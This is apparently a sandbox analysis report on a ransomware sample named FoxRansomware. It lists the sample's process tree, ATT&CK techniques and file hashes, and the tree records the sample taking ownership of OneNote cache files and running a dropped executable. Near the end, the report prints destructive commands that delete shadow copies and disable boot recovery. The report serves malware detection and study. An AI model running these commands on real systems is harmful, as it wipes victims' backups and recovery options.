C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007T.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007T.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007T.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000007T.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000007T.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000087.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000087.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000087.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000087.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000087.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000099.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000099.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000099.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000099.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000099.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009J.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009J.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009J.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000009J.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000009J.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A4.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A4.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A4.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000A4.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000A4.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AF.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AF.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AF.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000AF.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000AF.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AP.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AP.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AP.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000AP.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000AP.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B5.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B5.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B5.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000B5.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000B5.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000F.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000F.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000Q.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000Q.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000014.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000014.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000058.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000058.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000004.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000004.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000H.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000H.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000S.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000S.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000016.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000016.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000050.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000050.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000007E.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000007E.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000007O.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000007O.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000008D.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000008D.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000008N.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000008N.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000093.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000093.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A9.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A9.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A9.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000A9.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000A9.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000006S.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000006S.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\XjGMi7Hl.bat"1⤵
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "AssemblyList_4_extended.xml" -nobanner1⤵
- Executes dropped EXE
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Indicator Removal
2File Deletion
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
8KB
MD559c12564b0bab0a13f5748da4e61e364
SHA13f0cb143d90d9d097c93e9c9640724e9f4cce42d
SHA25642a39184ab4a1ff5ba85c0a73484ace2b7f5a3665a909d7ed3feda500da7363a
SHA512e858e727f95cfd84ab4570626a21928afab731f102c892ff213cec5e0bba55c20c307fb4d16abe0feb2923761ba7bf466430539e2f318ba1847e41b1144e9549
-
Filesize
3KB
MD503092ca3e27f06fdbd821801564e54ad
SHA1142b7a4e1b5b721fbfc7047c06721400fc39c10b
SHA256bd230567be0f0f0b80670728afcb5b94b37c726c7a5e2cabb3348ecf698477da
SHA512037612a0bbabcddea022be9a193b6184af22fd5b9d5c0d66f0d4c78b8e88870b8d523519d844a6146fec9afa30d286d5d73d8097c9eaaa918756916f4bf1614b
-
Filesize
221KB
MD53026bc2448763d5a9862d864b97288ff
SHA17d93a18713ece2e7b93e453739ffd7ad0c646e9e
SHA2567adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
SHA512d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6
-
Filesize
181KB
MD52f5b509929165fc13ceab9393c3b911d
SHA1b016316132a6a277c5d8a4d7f3d6e2c769984052
SHA2560cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
SHA512c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8
-
Filesize
64KB
MD539384617afb7b1a4cd7b11d998292e13
SHA187689603aebba6b353bbca3d5a038c0e8e59fd4c
SHA256b41666aedfb669305f37349dfae96eea3f34ae7ba89629a268c2a403302bdbaa
SHA51252be3914e3330330a83463cc2925ffa5d0bdb1a4358f48c1298cc0c5f631a214a8d9328232f95c496642da2300f713a5f0288d6ea6af52fb0e173c1431e442e7
-
Filesize
3KB
MD5dc734225433f3a9b7ba212f32023b1cf
SHA176816e5bfaebbb2007e2a0e979308eb4d7f6da89
SHA25671e68c1021fb643b7c14bd0957fcd8e8fc0eb2d7a6f41f906927f6813daece8f
SHA51222497156b63d4e24b202dc377c83a215ee010f2cbd5023aa7ceeb66c299830839931511b7b42c27c55c28e5f9adb7b27804dbad5529092819ab5a15c4a7ebfb4
-
Filesize
132KB
MD50591109afe668ed63d20cb5516eb00a0
SHA1117b94aeda425423eac8c993659d227e979dee97
SHA2564f368fa39b7ce3c0d9726cadeca0069f7bd536f2875a0b172c20def758e44872
SHA512b6e8671e69ff9f75fd3191a493a5902ed3c5d4df9e0a13eb8fcb38a0fb3affae02275dbaf31755dc7f33a417d0a53d4c2aae054724068b998244f026dbb7efb8
-
Filesize
14B
MD5c74dacdd9331a6698efffe81ff66ac08
SHA179e8ce4bb5cc2436e95fad4a74a31aee7aa63043
SHA25682ad297f8577dd8f868d0068e253c3d6b61a1e332d7038ed18d23da65b03ad6c
